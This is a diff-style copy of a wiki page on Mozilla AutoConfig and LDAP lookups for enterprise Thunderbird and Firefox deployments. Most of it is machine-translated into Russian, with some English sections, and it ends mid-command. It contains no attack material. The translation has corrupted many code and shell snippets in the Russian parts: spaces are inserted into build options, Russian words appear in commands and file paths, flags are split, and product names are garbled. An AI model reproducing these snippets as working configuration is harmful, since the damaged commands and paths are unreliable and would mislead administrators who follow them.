-</pre>
-
-<h5 id="AutoConfig_Option_and_LDAP_Support_in_Thunderbird_1.5.x" name="AutoConfig_Option_and_LDAP_Support_in_Thunderbird_1.5.x"><font><font>На этот раз кажется хуже, так как даже после применения указанных выше параметров компиляции я получаю следующее сообщение об ошибке при указании thunderbird с autoconfig (autoconf.js с pref ('general.config.filename', 'thunderbird.cfg'); )</font></font></h5>
-
-<p><font><font>и thunderbird.cfg, вызывающие функции getLDAP * для извлечения cn и почтового адреса текущего пользователя.</font></font></p>
-
-<pre><font><font>Ошибка Netscape.cfg / AutoConfig. </font><font>Пожалуйста, обратитесь к системному администратору.</font></font><font><font>
- Ошибка: getLDAPAttibutes не удалось: [Исключение ... "Результат отказа компонента</font></font><font><font>
-код: 0xc1f30001 (NS_ERROR_NOT_INITIALIZED) [nsILDAPURL.spec] "nsresult:</font></font><font><font>
-"0xc1f30001 (NS_ERROR_NOT_INITIALIZED)" местоположение: "JS frame ::</font></font><font><font>
-file: ////usr/lib/thunderbird-3.0b2/defaults/autoconfig/prefcalls.js ::</font></font><font><font>
-getLDAPAttributes :: строка 174 "данные: нет]</font></font>
-</pre>
-
-<h5 id="AutoConfig_Option_and_LDAP_Support_in_Thunderbird_1.5.x" name="AutoConfig_Option_and_LDAP_Support_in_Thunderbird_1.5.x"><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=295329" title="autoconfig , prefcalls Ldap queries doesn't work">баг 295329</a><font><font> был вновь открыт.</font></font></h5>
-
-
-
-<h5 id="AutoConfig_Option_and_LDAP_Support_in_Thunderbird_1.5.x" name="AutoConfig_Option_and_LDAP_Support_in_Thunderbird_1.5.x"><font><font>Опция AutoConfig и поддержка LDAP в Thunderbird 1.5.x</font></font></h5>
-
-<p><font><font>К счастью, AutoConfig теперь является частью пакетов по умолчанию Thunderbird. </font></font><code>MOZ_LDAP_XPCOM=1</code><font><font>и </font></font><code>MOZ_EXTENSIONS_DEFAULT="wallet spellcheck xmlextras pref webservices universalcharset auth"</code><font><font>теперь присутствуют в </font></font><code>configure</code><font><font>скрипте </font><font>по умолчанию </font><font>. </font><font>Подробнее см. </font></font><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=295329" title="autoconfig , prefcalls Ldap queries doesn't work">баг 295329</a><font><font>.</font></font></p>
-
-<h5 id="Add_the_AutoConfig_Option_for_Old_Thunderbird_1.0.x" name="Add_the_AutoConfig_Option_for_Old_Thunderbird_1.0.x"><font><font>Добавьте параметр AutoConfig для Old Thunderbird 1.0.x</font></font></h5>
-
-<p><font><font>По умолчанию AutoConfig не входит в дистрибутив файлов Thunderbird (1.0.x). </font><font>По-видимому, предполагалось увеличить нагрузку на двоичный объект для функции, не используемой множеством индивидуумов. </font><font>Однако для развертывания предприятия это жизненно важно! </font><font>Таким образом , </font><font>нам необходимо перекомпилировать Thunderbird с поддержкой автонастройки, это просто вопрос добавления </font></font><code>--enable-extensions=pref</code><font><font>в </font></font><code>mozconfig</code><font><font>файл.</font></font></p>
-
-<p><font><font>На моей 3 системы Fedora Core, я взял исходный пакет Thunderbird </font></font><code>thunderbird-1.0.2-1.3.3.src.rpm</code><font><font>установил его ( </font></font><code>rpm -i</code><font><font>) модифицируется </font></font><code>/usr/src/redhat/SOURCES/thunderbird-mozconfig</code><font><font>путем добавления:</font></font></p>
-
-<pre><font><font>ac_add_options --enable-extensions = pref
-</font></font></pre>
-
-<p><font><font>Скомпилируйте и установите:</font></font></p>
-
-<pre><font><font>$ rpmbuild -ba /usr/src/redhat/SPECS/thunderbird.spec</font></font><font><font>
-$ rpm -Uvh /usr/src/redhat/RPMS/i386/thunderbird-1.0.2-1.3.3.i386.rpm</font></font>
-</pre>
-
-<p><font><font>После инстилляции AutoConfig наконец возвращается:</font></font></p>
-
-<pre><font><font>$ rpm -ql thunderbird | </font><font>grep autoconfig</font></font><font><font>
-/usr/lib/thunderbird-1.0.2/chrome/en-US/locale/autoconfig</font></font><font><font>
-/usr/lib/thunderbird-1.0.2/components/autoconfig.xpt</font></font><font><font>
-/usr/lib/thunderbird-1.0.2/components/libautoconfig.so</font></font><font><font>
-/usr/lib/thunderbird-1.0.2/defaults/autoconfig</font></font><font><font>
-/usr/lib/thunderbird-1.0.2/defaults/autoconfig/platform.js</font></font><font><font>
-/usr/lib/thunderbird-1.0.2/defaults/autoconfig/prefcalls.js</font></font>
-</pre>
-
-<h4 id="Bugs_Reports_Related" name="Bugs_Reports_Related"><font><font>Сообщения об ошибках</font></font></h4>
-
-<p><font><font>Для записи, для старых версий 1.0.x ...</font></font></p>
-
-<h5 id="Unwanted_White_Space_Reappeared" name="Unwanted_White_Space_Reappeared"><font><font>Нежелательное белое пространство снова появилось</font></font></h5>
-
-<p><font><font>К сожалению, «пустая ошибка пространства» появилась в Thunderbird 1.0.2. </font><font>См. </font></font><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=229271" title='FIXED: unwanted "white space" in function getLDAPValue from autoconfig/prefcalls.js'>ошибка 229271</a><font><font>. </font><font>Хотя это было исправлено в Mozilla mainstream: </font></font><code>mozilla/extensions/pref/autoconfig/src/nsLDAPSyncQuery.cpp 1.7.2.1</code><font><font>к концу 2004 года он по-прежнему присутствует в Thunderbird 1.0.2 по крайней мере :-(, поэтому я применил обходное решение, которое я предложил в этом отчете об ошибке ( </font></font><code>start_pos += 1;</code><font><font>).</font></font></p>
-
-<h4 id="Thunderbird_2.x_beta_2" name="Thunderbird_2.x_beta_2"><font><font>Thunderbird 2.x beta 2</font></font></h4>
-
-<p><font><font>Недавно (2007/03/21) я протестировал с помощью thunderbird 2 beta 2 (2007/01/16), чтобы проверить, поддерживается ли autoconfig + ldap. </font><font>Кажется, все в порядке. </font><font>API-интерфейс Autonfig есть, ldap-вызов работает отлично, хорошо!.</font></font></p>
-
-<p><font><font>Мои тесты были в Windows Vista, и я заметил, по крайней мере, одно различие, это то, что Paths изменились; </font><font>теперь профиль находится в (для моего образца пользователя procacci): C:\Users\procacci\AppData\Roaming\Thunderbird\Profiles\v6we4uku.default</font></font></p>
-
-<p><img alt="Местоположение профиля Vista" class="internal" src="/@api/deki/files/381/=TB-vista-pref-location.jpg"></p>
-
-<p><font><font>Начало в режиме отладки в интерфейсе Comand Line:</font></font></p>
-
-<p><img alt="Запуск в режиме отладки Comand Line Interface" class="internal" src="/@api/deki/files/380/=TB-vista-MCD-test-cli.jpg"></p>
-
-
-
-<h4 id="Отладка_с_displayError_()"><font><font>Отладка с displayError ()</font></font></h4>
-
-
-
-<p><font><font>Вот результат: я использовал метод displayError () (не лучший способ :-( см. </font></font><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=206294" title="Autoconfig via a URL appears to be missing. (autoadmin.global_config_url)">ошибка 206294</a><font><font>), чтобы показать переменные среды и ldap, чтобы проверить, что она работает нормально. Просто установите MOZILLA_DEBUG = 1 (см. Код js в thunderbird.cfg), чтобы это сообщение появилось, оно очень полезно в контексте отладки ...</font></font></p>
-
-<p><img alt="TB-перспектива-MCD-отладка msg.jpg" class="default internal" src="/@api/deki/files/4816/=TB-vista-MCD-debug-msg.jpg"></p>
-
-<p><font><font>Функция displayError () не работает должным образом в Thunderbird 3.1: см. </font></font><a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=502597#c34" rel="freelink"><font><font>Https://bugzilla.mozilla.org/show_bu...?id=502597#c34</font></font></a></p>
-
-<p><font><font>Используемое обходное решение помещает следующий код в начало вашего сценария autoconfig:</font></font></p>
-
-<pre><code>// Enable logging.
-pref("MCD.logging.console", "All");
-pref("MCD.logging.dump", "All");
-Components.utils.import("resource:///modules/gloda/log4moz.js");
-var log = Log4Moz.getConfiguredLogger("MCD");
-
-// Enable alerts.
-var alerts = Components.classes["@mozilla.org/alerts-service;1"]
- .getService(Components.interfaces.nsIAlertsService);
-
-// displayError() is broken. Let's override it.
-function displayError(title, msg) {
- log.debug(title + ": " + msg);
- alerts.showAlertNotification("chrome://branding/content/icon48.png", title, msg);
-}</code>
-</pre>
-
-<h3 id="Firefox" name="Firefox"><font><font>Fire Fox</font></font></h3>
-
-<p><font><font>Это те же принципы, что и для firefox, как описано выше для thunderbir. </font><font>Бинарные дистрибутивы теперь должны включать поддержку AutoConfig (pref extension!), Но, к сожалению, не для вызовов LDAP :-( (cf. </font></font><code>MOZ_LDAP_XPCOM=1</code><font><font>). Это не важно в Firefox, как для нас в Thunderbird (нужно получить cn и адрес электронной почты для установите учетную запись электронной почты, которые по умолчанию недоступны в переменных среды). Однако мне было бы полезно получить значения LDAP для дополнительной настройки Firefox, например, чтобы установить главную страницу по умолчанию на </font></font><code>labeledURI</code><font><font>атрибут LDAP пользователя.</font></font></p>
-
-<h4 id="AutoConfig_.28pref.29_and_LDAP_Support_in_Packages" name="AutoConfig_.28pref.29_and_LDAP_Support_in_Packages"><font><font>Firefox 22</font></font></h4>
-
-<p><font><font>omni.jar архивный файл стал omni.ja с   </font></font><a href="http://blog.ffextensionguru.com/2011/11/16/omni-jar-to-become-omni-ja/" style="line-height: 1.572;"><font><font>http://blog.ffextensionguru.com/2011/11/16/omni-jar-to-become-omni-ja/</font></font></a></p>
-
-<pre><font><font>[root@localhost firefox] # unzip -l /usr/lib/firefox/browser/omni.ja | </font><font>grep defaults/pr</font></font><font><font>
-warning [/usr/lib/firefox/browser/omni.ja]: 3598815 дополнительных байтов в начале или в zip-файле</font></font><font><font>
- (пытаясь все равно обработать)</font></font><font><font>
-error [/usr/lib/firefox/browser/omni.ja]: указана длина центрального каталога</font></font><font><font>
- -3598815 байтов слишком долго (Atari STZip zipfile? JHHolm ZIPSPLIT 1.1</font></font><font><font>
- ZipFile?). </font><font>Компенсационный ...</font></font><font><font>
- 3850 01-01-2010 00:00 defaults/profile/bookmarks.html</font></font><font><font>
- 869 01-01-2010 00:00 defaults/profile/chrome/userContent-example.css</font></font><font><font>
- 1165 01-01-2010 00:00 defaults/profile/chrome/userChrome-example.css</font></font><font><font>
- 366 01-01-2010 00:00 defaults/profile/localstore.rdf</font></font><font><font>
- 569 01-01-2010 00:00 defaults/profile/mimeTypes.rdf</font></font><font><font>
- 76 01-01-2010 00:00 defaults/preferences/firefox-l10n.js</font></font><font><font>
- 91656 01-01-2010 00:00 defaults/preferences/firefox.js</font></font><font><font>
- 1593 01-01-2010 00:00 по умолчанию/предпочтения/firefox-branding.js</font></font><font><font>
- 473 01-01-2010 00:00 defaults/profile/prefs.js</font></font>
-</pre>
-
-<p><font><font>В отличие от старого Thunderbird 8 Firefox 8 не включал </font></font><code><em> prefcalls.js</em></code><font><font>  в </font><font>себя</font></font><code> omni.jar</code><font><font>, но и </font><font>другие файлы .js , </font><font>хотя:</font></font></p>
-
-<pre><font><font>[root @ arvouin firefox] # jar tvf omni.jar | </font><font>grep defaults/pref</font></font><font><font>
- 0 Пт ноя 04 21:34:18 CET 2011 defaults/предпочтения/</font></font><font><font>
- 604 Пт ноя 04 21:34:18 CET 2011 defaults/ preferences/all-redhat.js</font></font><font><font>
- 1389 Пт ноя 04 21:34:18 CET 2011 defaults/references/firefox-branding.js</font></font><font><font>
- 76 Пт ноя 04 21:34:18 CET 2011 defaults/preferences/firefox-l10n.js</font></font><font><font>
- 50295 Пт ноя 04 21:34:18 CET 2011 defaults/preferences/firefox.js</font></font><font><font>
- 2470 Пт ноя 04 21:34:18 CET 2011 defaults/preferences/services-sync.js</font></font>
-</pre>
-
-<p><font><font>Таким образом, нет </font></font><code>defaults/autoconfig/prefcalls.js</code><font><font>и </font></font><code>defaults/pref</code><font><font>каталог теперь называется </font></font><code>defaults/preferences/</code><font><font>!</font></font></p>
-
-<p><font><font>Помните, что в Thunderbird 5 мы</font></font></p>
-
-<p><code># jar tvf ../thunderbird-5.0/omni.jar | grep pref</code></p>
-
-<pre><code>7499 Fri Jun 24 20:23:08 CEST 2011 <strong>defaults/autoconfig/prefcalls.js</strong>
- 0 Fri Jun 24 20:23:08 CEST 2011 <strong>defaults/pref/</strong>
- 277 Fri Jun 24 20:23:08 CEST 2011 defaults/pref/all-l10n.js
- 27221 Fri Jun 24 20:23:08 CEST 2011 defaults/pref/all-thunderbird.js
- 5865 Fri Jun 24 20:23:08 CEST 2011 defaults/pref/composer.js
- 42591 Fri Jun 24 20:23:08 CEST 2011 defaults/pref/mailnews.js
- 806 Fri Jun 24 20:23:08 CEST 2011 defaults/pref/mdn.js
- 267 Fri Jun 24 20:23:08 CEST 2011 defaults/pref/smime.js
- 921 Fri Jun 24 20:23:08 CEST 2011 defaults/pref/thunderbird-branding.js
- 347 Fri Jun 24 20:23:08 CEST 2011 defaults/profile/prefs.js
- 84859 Fri Jun 24 20:23:08 CEST 2011 greprefs.js</code>
-</pre>
-
-<p><font><font>Тем не менее, «autoconfig» все еще может работать в Firefox 22, если его не существует, вам придется вручную создать ветвь каталога, чтобы установить ff-autoconfig.js в </font></font><code> defaults/preferences/</code><font><font>:</font></font></p>
-
-<pre><code>[root@calaz firefox]# mkdir -p defaults/preferences/ </code>
-
-<code>[root@calaz firefox]# cat defaults/preferences/ff-autoconf.js
-// autoconfig jehan
-pref('general.config.obscure_value', 0);
-pref('general.config.filename', 'firefox.cfg');</code>
-</pre>
-
-<p><font><font>затем укажите наш набор предпочтений для Firefox в firefox.cfg, как указано выше в ff-autoconf.js.</font></font></p>
-
-<pre><code>[root@calaz firefox]# cat firefox.cfg
-//put everything in a try/catch
-try {
-//Privacy &amp; Security
-defaultPref("signon.rememberSignons", false);
-
-//Proxy and cache, as it is on NFS volume, we don't want cache
-lockPref("browser.cache.disk.capacity", 0);
-lockPref("network.cookie.cookieBehavior", 0);
-defaultPref("network.proxy.autoconfig_url", "http://wpad.int-evry.fr/wpad.dat");
-defaultPref("network.proxy.type", 2);
-lockPref("network.protocol-handler.app.mailto", "/usr/bin/thunderbird");
-
-//Firefox3 urlclassifier3.sqlite IOwait/CPU pb
-//http://forums.mozillazine.org/viewtopic.php?p=3381133#3381133
-defaultPref("browser.safebrowsing.enabled", false);
-defaultPref("browser.safebrowsing.malware.enabled", false);
-
-// 1) env variables
-if(getenv("USER") != "") {
- // *NIX settings
- var env_user = getenv("USER");
- var env_home = getenv("HOME");
- } else {
- // Windows settings
- var env_user = getenv("USERNAME");
- var env_home = getenv("HOMEPATH");
- }
- var env_mozdebug= getenv("MOZILLA_DEBUG");
-
-// 2) define here (because if set after "3)" below it doesn't work !) processLDAPValues which is eventually called by getLDAPAttributes() just below,
-// check getLDAPAttributes() code from $MOZILLA_HOME/defaults/autoconfig/prefcalls.js to see the inside call to "user defined" processLDAPValues</code>
-</pre>
-
-<p><br>
- <code><u><strong>/* Commented all this section about ldap calls, not supported in FF5 packages :-( </strong></u></code></p>
-
-<p><br>
- <code>function processLDAPValues (values) {<br>
-  if(values) {<br>
-       // set the global var with the values returned from the LDAP query<br>
-       ldap_values = values;<br>
-     var uid = getLDAPValue ( values ,"uid" );<br>
-     var cn = getLDAPValue ( values ,"cn" );<br>
-     var mail = getLDAPValue ( values ,"mail" );<br>
-     var URL =  getLDAPValue ( values ,"labeledURI" );<br>
- //Debug with popup error messages doesn't work anymore :-( !!<br>
- var env_mozdebug= getenv("MOZILLA_DEBUG");<br>
- if (env_mozdebug) {displayError("NO ERROR , just a debug, cn =" + cn + " and mail = " + mail + " ,labeledURI=" + URL ); }<br>
- //if (env_mozdebug) {displayError("NO ERROR , just a test, cn =" + cn + " and mail = " + mail); }<br>
- //lockPref("browser.startup.homepage", URL );<br>
- lockPref("browser.startup.homepage", <a href="http://gaspar.it-sudparis.eu" rel="freelink">http://gaspar.it-sudparis.eu</a> );<br>
-     }<br>
-   }<br>
- */<br>
- if (env_mozdebug) {displayError("NO ERROR ,s2ia debug v1.1 just a test, user =" + env_user); }<br>
- lockPref("browser.startup.homepage", "<a href="http://gaspar.it-sudparis.eu" rel="freelink">http://gaspar.it-sudparis.eu</a>" );<br>
- // 3) Call Ldap servers to get Ldap Attributes (mail &amp; cn) , this will finally call processLDAPValues , "2)" just above.<br>
- // getLDAPAttributes("ldap2.int-evry.fr","ou=people,dc=int-evry,dc=fr","uid=" + env_user,"uid,cn,mail,labeledURI");<br>
- <br>
- // Close the try, and call the catch()<br>
- } catch(e) {displayError("lockedPref", e);}</code></p>
-
-<p><font><font>если вызов Ldap раскомментирован в файле настроек выше, тогда я получаю всплывающее окно с:</font></font></p>
-
-<p><font><font>Ошибка Netscape.cfg / AutoConfig. </font><font>Пожалуйста, обратитесь к системному администратору.</font></font><br>
- <font><font> Ошибка: getLDAPAttibutes не удалось: [Исключение ... "Не удалось преобразовать аргумент JavaScript arg 0 [nsISupports.QueryInterface]" nsresult: "0x80570009 (NS_ERROR_XPC_BAD_CONVERT_JS)" location: "JS frame :: prefcalls.js :: getLDAPAttributes :: line 177" данные: нет]</font></font></p>
-
-<h4 id="AutoConfig_.28pref.29_and_LDAP_Support_in_Packages" name="AutoConfig_.28pref.29_and_LDAP_Support_in_Packages"><font><font>Поддержка AutoConfig (pref) и LDAP в пакетах</font></font></h4>
-
-<h5 id="Add_LDAP_Support_in_Firefox_1.5" name="Add_LDAP_Support_in_Firefox_1.5"><font><font>Добавить поддержку LDAP в Firefox 1.5</font></font></h5>
-
-<p><font><font>По меньшей мере, от Firefox 1.5, AutoConfig скомпилирован по умолчанию (cf. browser </font></font><code>MOZ_EXTENSIONS_DEFAULT="pref..."</code><font><font>), но не LDAP ( </font></font><code>MOZ_LDAP_XPCOM=1</code><font><font>). </font><font>Вам нужно перекомпилировать пакет, чтобы получить его, ср. </font></font><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=295329" title="autoconfig , prefcalls Ldap queries doesn't work">ошибка 295329</a><font><font>.</font></font></p>
-
-<h5 id="Add_AutoConfig_and_LDAP_Support_in_Firefox_1.0.x" name="Add_AutoConfig_and_LDAP_Support_in_Firefox_1.0.x"><font><font>Добавьте поддержку AutoConfig и LDAP в Firefox 1.0.x</font></font></h5>
-
-<p><font><font>Добавьте pref extension ( </font></font><code>--enable-extensions=pref</code><font><font>) и удалите </font></font><code>--disable-ldap</code><font><font>из </font></font><code>mozconfig</code><font><font>файла. </font><font>Можно проверить, как Firefox был скомпилирован, открыв </font></font><code>about:buildconfig</code><font><font>(не знаете эквивалент для Thunderbird! Как он был скомпилирован?)</font></font></p>
-
-<pre><font><font>о: buildconfig</font></font>
-<font><font>
-Построение платформы</font></font><font><font>
-цель</font></font><font><font>
-i686-ПК-Linux-гну</font></font>
-<font><font>
-Инструменты сборки</font></font><font><font>
-Флаговые компиляторы версии компилятора</font></font><font><font>
-gcc gcc версия 3.4.3 20050227 (Red Hat 3.4.3-22.fc3) -Wall -W -Wno-unused -Wpointer-arith -Wcast-align -Wno-long-long -pedantic -pthread -pipe</font></font><font><font>
-c ++ gcc версия 3.4.3 20050227 (Red Hat 3.4.3-22.fc3) -fno-rtti -fno-exceptions -Wall -Wconversion -Wpointer-arith -Wcast-align -Woverloaded-virtual -Wsynth -Wno-ctor-dtor -privacy -Wno-non-virtual-dtor -Wno-long-long -pedantic -fshort-wchar -pthread -pipe -I / usr / X11R6 / include</font></font>
-<font><font>
-Настроить аргументы</font></font><font><font>
---disable-mailnews --enable-extensions = cookie, xml-rpc, xmlextras, pref, transformiix, universalchardet, webservices, инспектор, gnomevfs, negotiateauth --enable-crypto --disable-composer --enable-single-profile - -disable-profilesharing --with-system-jpeg --with-system-zlib --with-system-png --with-pthreads --disable-tests --disable-jsd --disable-installer '--enable- optimize = -Os -g -pipe -m32 -march = i386 -mtune = pentium4 '--enable-xft --enable-xinerama --enable-default-toolkit = gtk2 --enable-official-branding --disable-xprint --disable-strip -enable-pango </font></font>
-</pre>
-
-<h4 id="all.js" name="all.js"><font><font>autoconf.js</font></font></h4>
-
-<pre><font><font>[root @ b008-02 /usr/lib/firefox-1.5.0.2]</font></font><font><font>
-$ tail -4 greprefs/autoconf.js</font></font><font><font>
-// AutoConfig jehan</font></font><font><font>
-pref('general.config.obscure_value', 0);</font></font><font><font>
-pref('general.config.filename', 'firefox.cfg');</font></font>
-</pre>
-
-<h4 id="firefox.cfg" name="firefox.cfg"><font><font>firefox.cfg</font></font></h4>
-
-<p>This file will set the browser home page to the <code>labeledURI</code> page defined in the user's LDAP entry, hence it checks that both AutoConfig + LDAP work fine.</p>
-
-<pre>[root@b008-02 /usr/lib/firefox-1.5.0.2]
-$cat firefox.cfg
-//put everything in a try/catch
-try {
-
-//Privacy &amp; Security
-defaultPref("signon.rememberSignons", false);
-
-// 1) env variables
-if(getenv("USER") != "") {
- // *NIX settings
- var env_user = getenv("USER");
- var env_home = getenv("HOME");
-} else {
- // Windows settings
- var env_user = getenv("USERNAME");
- var env_home = getenv("HOMEPATH");
-}
-var env_mozdebug = getenv("MOZILLA_DEBUG");
-
-/* 2) define here (because if set after "3)" below it doesn't work!) processLDAPValues which is eventually called by getLDAPAttributes() just below,
- check getLDAPAttributes() code from $MOZILLA_HOME/defaults/autoconfig/prefcalls.js to see the inside call to "user defined" processLDAPValues
-*/
-function processLDAPValues(values) {
- if(values) {
- // set the global var with the values returned from the LDAP query
- ldap_values = values;
- var uid = getLDAPValue(values, "uid");
- var cn = getLDAPValue(values, "cn");
- var mail = getLDAPValue(values, "mail");
- var URL = getLDAPValue(values, "labeledURI");
-//Debug with popup error messages doesn't work anymore :-( !!
-var env_mozdebug= getenv("MOZILLA_DEBUG");
-if (env_mozdebug) {displayError("NO ERROR, just a debug, cn =" + cn + " and mail = " + mail + ", labeledURI= " + URL); }
-lockPref("browser.startup.homepage", URL);
- }
- }
-
-//lockPref("browser.startup.homepage", "http://www.renater.fr/");
-// 3) Call LDAP servers to get LDAP Attributes (mail &amp; cn), this will finally call processLDAPValues, "2)" just above.
- getLDAPAttributes("ldap2.int-evry.fr","ou=people,dc=int-evry,dc=fr","uid=" + env_user,"uid,cn,mail,labeledURI");
-
-// Close the try, and call the catch()
-} catch(e) {displayError("lockedPref", e);}
-</pre>
-
-<h4 id="Debug_2" name="Debug_2">Debug</h4>
-
-<p>If you set a username and the <code>MOZILLA_DEBUG</code> variable (<code>$export MOZILLA_DEBUG=1; export USER=procacci</code>), then the <code>displayError()</code> will show you this popup:</p>
-
-<p><img alt="Изображение: Mozilla-автонастройки-en001.png" class="internal" src="/@api/deki/files/776/=Mozilla-autoconfig-en001.png"></p>
-
-<p>That's a popup titled as "error", but it's just a debug tool for me as I didn't find any other way to popup information. cf. <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=206294" title="Autoconfig via a URL appears to be missing. (autoadmin.global_config_url)">bug 206294</a>:</p>
-
-<pre> ------- Comment #14 From Daniel Wang 2003-11-06 09:06 PDT [reply] -------
-
-Jehan Procaccia, you need to change 5.8 to reflect what I said in comment 21.
-
-Preference files and config files are special JavaScript files with limited scopes. They
-can only call the get/set pref/env methods and have no access to other objects
-(need to investigate what exactly are allowed). alert() is a method of the
-Window object.
-</pre>
-
-<p>cf. also related post in Newsgroups: mozilla.dev.tech.js-engine</p>
-
-<pre>Date: Wed, 17 May 2006 19:06:28 +0200
-From: jehan procaccia &lt;jehan.procaccia@int-evry.fr&gt;
-
-Newsgroups: mozilla.dev.tech.js-engine
-Subject: scope of js file functions in Frefox/Thunderbird AutoConfig context
-</pre>
-
-<h4 id="Firefox_2.x" name="Firefox_2.x">Firefox 2.x</h4>
-
-<p>Recently (2007/03/20), I've tested autoconfig support in Firefox 2.0.0.2 on a Linux fedora. Autoconfig works fine, but ldap calls are still unavailable in Firefox (as it was the case in Firefox 1.x, but fortunatly not the case for Thunderbird !). That "bug" report is then still up to date!: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=295329" title="autoconfig , prefcalls Ldap queries doesn't work">bug 295329</a></p>
-
-<pre>$ cat /etc/redhat-release
-Fedora Core release 6 (Zod)
-
-$ rpm -qi firefox
-Name  : firefox Relocations: (not relocatable)
-Version  : 2.0.0.2 Vendor: Remi Collet
-Release  : 1.fc6.remi Build Date: Sat 24 Feb 2007 01:45:37 PM CET
-Install Date: Tue 20 Mar 2007 02:47:27 PM CET Build Host: remi.famillecollet.com
-Packager  : http://remi.collet.free.fr/
-</pre>
-
-<h3 id="References" name="References">References</h3>
-
-<h4 id="Other_Documents_About_AutoConfig" name="Other_Documents_About_AutoConfig">Other Documents About AutoConfig</h4>
-
-<p><a href="http://mit.edu/~firefox/www/maintainers/autoconfig.html" rel="freelink">http://mit.edu/~firefox/www/maintain...utoconfig.html</a></p>
-
-<p><a href="http://www.alain.knaff.lu/howto/MozillaCustomization/index.html" rel="freelink">http://www.alain.knaff.lu/howto/Mozi...ion/index.html</a><br>
- <a href="http://thegoldenear.org/toolbox/windows/docs/mozilla-pre-config.html" rel="freelink">http://thegoldenear.org/toolbox/wind...re-config.html</a><br>
- <a href="http://ilias.ca/blog/2005/03/locking-mozilla-firefox-settings/" rel="freelink">http://ilias.ca/blog/2005/03/locking...efox-settings/</a></p>
-
-<p>Compile on Windows:<br>
- <a href="http://forums.mozillazine.org/viewtopic.php?t=276014" rel="freelink">http://forums.mozillazine.org/viewtopic.php?t=276014</a></p>
-
-<p><a href="http://www.mozilla.org/community/developer-forums.html" rel="freelink">http://www.mozilla.org/community/dev...er-forums.html</a><br>
- <a href="http://forums.mozillazine.org/viewtopic.php?p=2090731&amp;highlight=autoconfig#2090731" rel="freelink">http://forums.mozillazine.org/viewto...config#2090731</a><br>
- <a href="http://forums.mozillazine.org/viewtopic.php?p=1354355&amp;highlight=autoconfig#1354355" rel="freelink">http://forums.mozillazine.org/viewto...config#1354355</a><br>
- <a href="http://forums.mozillazine.org/viewtopic.php?p=32783&amp;highlight=autoconfig#32783" rel="freelink">http://forums.mozillazine.org/viewto...toconfig#32783</a></p>
-
-<h4 id="Related_Bugs" name="Related_Bugs">Related Bugs</h4>
-
-<p><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=295329" title="autoconfig , prefcalls Ldap queries doesn't work">bug 295329</a><br>
- <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=222973" title="[Deploy]Need doc on AutoConfig and Config files">bug 222973</a><br>
- <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=225288" title="FIXED: thunderbird does not recognize mission control preferences">bug 225288</a><br>
- <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=178685" title="Complete preference ref manual (for hidden prefs)">bug 178685</a><br>
- <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=272970" title="autoconfig defaultpref doesn't work">bug 272970</a><br>
- <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=206294" title="Autoconfig via a URL appears to be missing. (autoadmin.global_config_url)">bug 206294</a><br>
- <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=302096" title="FIXED: Thunderbird does not have AutoConfig LDAP support enabled">bug 302096</a></p>
-
-<p><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=502597" title="FIXED: thunderbird autoconfig, prefcalls.js Ldap queries broken">bug 502597</a></p>
-
-<p><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=674261" title="autoconfig aka MCD broken">bug 674261</a></p>
-
-
-
-
-
-<h3 id="Old_Mozilla_1.x.2C_Possibly_Netscape_6.2F7" name="Old_Mozilla_1.x.2C_Possibly_Netscape_6.2F7"><font><font>Thunderbird Comm-central_source_code_ (Mercurial)</font></font></h3>
-
-<div class="note"><font><font> Ниже приведен метод построения из источников в случае отсутствия какой-либо функции в публичных пакетах</font></font></div>
-
-<p><font><font>на основе </font></font><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=295329" title="autoconfig , prefcalls Ldap queries doesn't work">ошибки 295329</a>,<font><font> поскольку TB 3.0.X autoconfig больше не работает.</font></font></p>
-
-<p><font><font>согласно обсуждению в  </font></font><a href="http://groups.google.com/group/mozilla.dev.apps.thunderbird/browse_thread/thread/9b1962efdeb92f4e#" title="http://groups.google.com/group/mozilla.dev.apps.thunderbird/browse_thread/thread/9b1962efdeb92f4e#"><font><font>mozilla.dev.apps.thunderbird</font></font></a><font><font> , изменение от CVS до Mercurial и недавние изменения кода nsLDAPURL могут иметь borken autoconfig. </font><font>ниже мы начинаем отлаживать это, перестраивая thunderbird из </font></font><a href="/en-US/docs/Developer_Guide/Source_Code/Getting_comm-central" title="https://developer.mozilla.org/en/Comm-central_source_code_(Mercurial)"><font><font>Comm-central-source-code (mercurial)</font></font></a><font><font> .</font></font></p>
-
-<h4 id="строить"><font><font>строить</font></font></h4>
-
-<h5 id="установить_меркуриальные_инструменты"><font><font>установить меркуриальные инструменты</font></font></h5>
-
-<pre><font><font>[root@b008-02 ~]# yum install mercurial</font></font>
-<font><font>
-Установлен:</font></font><font><font>
- mercurial.i586 0: 1.2.1-1.fc11</font></font>
-</pre>
-
-<h5 id="проверить_инструменты_слияния_в"><font><font>проверить инструменты слияния в</font></font></h5>
-
-<pre><font><font>[root@b008-02 ~]# vim /etc/mercurial/hgrc.d/mergetools.rc</font></font></pre>
-
-<h5 id="получить_источник_comm-central"><font><font> получить источник comm-central</font></font></h5>
-
-<pre><font><font>[root @ b008-02 Moz] # время hg clone http://hg.mozilla.org/comm-central/ commsrc</font></font><font><font>
-запрос всех изменений</font></font><font><font>
-добавление наборов изменений</font></font><font><font>
-добавление манифеста</font></font><font><font>
-добавление изменений файла</font></font><font><font>
-добавлено 2975 наборов изменений с 16793 изменением на 7117 файлов (+3 голов)</font></font><font><font>
-обновление рабочего каталога</font></font><font><font>
-Обновлено 5644 файлов, 0 файлов объединены, удалено 0 файлов, 0 файлов не разрешены</font></font>
-<font><font>
-реальный 0m40.771s</font></font><font><font>
-пользователь 0m9.284s</font></font><font><font>
-sys 0m1.304s</font></font>
- </pre>
-
-<pre><font><font>[root @ b008-02 commsrc] # python client.py checkout</font></font><font><font>
